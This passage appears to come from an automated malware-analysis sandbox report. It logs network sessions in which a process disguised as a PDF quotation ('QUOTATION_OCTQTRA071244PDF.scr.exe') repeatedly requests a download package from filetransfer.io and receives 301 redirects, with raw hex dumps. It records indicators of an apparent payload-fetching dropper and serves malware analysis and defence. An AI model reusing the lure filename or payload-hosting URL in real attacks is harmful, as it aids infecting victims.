Oct 4, 2024 11:23:26.912446022 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49817	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:26.919183969 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:27.583642960 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J3p8UEBn6ArXbiuyHJeCJnZgJXchAoXztn3T9%2BQY1%2FuhvyDKOsmh7N%2FJ9VUvSlqvqwlbp5TH1twEqr7ilCbIDIx4YNW9XRzA3fjKyl2v%2BoclLtij3XA59WvEpopN0BzKLYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cffc87c43a9-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:27.586308002 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:27.780224085 CEST	656	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ojfj%2FXekdYn9mzinqmFz2bM16bdQx5dAtHjmqCZt9pDVM0shK%2FdhxHbKsXFSKV2OIjggJBaDEeaxI1hxYelYQm4mSqjla9gjVKUuBAZ1tX8YILgIhJhtJXq1oqQdvROVULc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d01b9b643a9-EWR
Oct 4, 2024 11:23:27.914144039 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49820	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:27.923247099 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:28.819461107 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aBpmBT1mKNvJvt%2B6YHoJ9fNgB0gDHKc737Ts4UHe2RCmB0t%2FBK9RpJ%2Fzljt4kAZ%2BNtn24qCaXEnoW4x5wHxJtyxRfOB0IkTKoCuuM8rRCFMtZYgdCXE9lO4OCQcptZkZCAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d060c064328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:28.820141077 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aBpmBT1mKNvJvt%2B6YHoJ9fNgB0gDHKc737Ts4UHe2RCmB0t%2FBK9RpJ%2Fzljt4kAZ%2BNtn24qCaXEnoW4x5wHxJtyxRfOB0IkTKoCuuM8rRCFMtZYgdCXE9lO4OCQcptZkZCAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d060c064328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:28.821260929 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:29.014517069 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hcBGoUML3ZXY3ODhsEFnZKlaGje3oDniVvIK1PMqChoBYLcTdYtDW9D%2Fgceyo6Fw013qYJFerl1uv%2BmjV67YVDoj6rHZlnM%2B%2Fm4v9mA19WSW%2BxSyOfaqBTQWHvNxK1gybmQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d096e064328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:29.016536951 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:29.209376097 CEST	834	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q7tqVD%2B44%2BzPMnwnc%2BNlpnN2kBeBuHbx0Ee5BqU8BfnvgbYCbYIFlFxzE616%2FF2zCm19yYy3rmPUkHETZLgMK4VV30XLlfVkdSvq9zjgEUbE9y6a4eAYN0V2%2BCCet%2B%2BTFfc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d0aaec04328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:23:29.342597961 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 11:23:29.343034029 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:29.547029018 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2FZw86WZ9Wl%2BWwuomB1ITtdCfz8sdKCHNCpPpvuhJPUxNJQNiExOw7dCIdjzZPlKuvIlodUTjUDgZjw6TxujmX%2BOhQm4LEyYR%2BRsI2ex3cgRREb41u46FL%2BJsxPwLYqR7IQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d0cb8c74328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:29.548676968 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:29.747805119 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6nkNGj6xLRMDVlZvFIZhAb6%2FDRis40cD1kBi1zoHF0MvX5Xi8pLQTQkdCaMsi1Mc7c6CdBl3rnoqGZha337w9KupHjSJL0k5vr%2B3YJ7eTrcqfZcaJYXq%2FPyXDpCabE76R8A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d0df9924328-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:29.766541958 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:29.960864067 CEST	664	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K54ZUEzDrB3en9FP3U%2Bf1%2FNkrfpSzjtUzbM7hTIYIvH4yWlnlSGZQ5NUlXD9Mz%2BsxdAHTROD%2BtfPIBT2Iz8rsXIDVu5%2FNgIMNsR6ZmgFAmi5Dckq7Wv4C4%2BsWnBGNWFJVf0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d0f5a7f4328-EWR
Oct 4, 2024 11:23:30.090251923 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49825	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:30.102682114 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:30.802311897 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K5PKPG3ol1lsU7JgBZdSqRLqNmZlELPnAXFUlVEkM5td7nF7GTEZ7k7K3KYg%2FvPsrIgi2ZIBSBxbwaIdfWY2zWO8UyMCuRwCA8ryhIFSjIbC4e2HkzJqJisCHPJqBXXOBW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d13fc8e1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:30.803972006 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:30.995739937 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JZVHZZk7hHymizlqi1TWuK4mLjXuCvL4pliZjw%2FrpuR0jakyO7a6Wo5IcwmlcOXELwAxi8pg8g%2By8dJqGz5D0DjLgp6AglgRcEEwv%2B2leFj3FRmXYtQBfWcpS06DY4qBSqs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d15cd5b1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:30.997642994 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:31.189404011 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lcrzMaSeeHE0Z87nQhNTfL65wnWzPj6MCcX%2BYL9Dp5lUDj2hhkL2EdIx396PLWoPGohlH8rzw0rKMT3NVpgkfSfZZrjQ9I6Ra9CkJoARHBpp6wbMAIuG18voojZ6b8zEWBQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d170dd21760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:31.190951109 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:31.383986950 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x7uIT3mqj%2Bs61Wi7fSK9gc2OH9EgYh7maZGOR%2BEwdspXNw%2B7F2x8bg6Pl3QwEajMU1oKnCVNmskelMqTvBz3wLdfq5vyMz85EiyXM2sKyViL%2BB4z8UbM79S%2F4yTc%2FqEpIzo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d183e671760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:31.385855913 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:31.580693007 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SckcA47pkDNad0cci%2FpSeaCUmYrGTdugj8Cs%2BEClrKgt8chaHGwmq9fjq%2Fc7vvebW2Jo7p2HFWu0%2BlHMPHZyyWacBmGQ1BucOZiRlIEfgoOKpQVkGa0Q9wKcAUci8tvl1pM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d196ee91760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:31.582705021 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:31.775949955 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mUQGF%2FhQs2l5SbNGnI%2FbxqgB7BuBYcpsdgPRII5srNRT70uFS2Z1P%2B%2F%2B168OSp9ZdQpRJZOoMtS1dEpqYZyaNVObFwh0zD1WkJdjBT37O3TI9xPzGDf0mWp4ozF3s0fY5w4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d1aaf6e1760-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 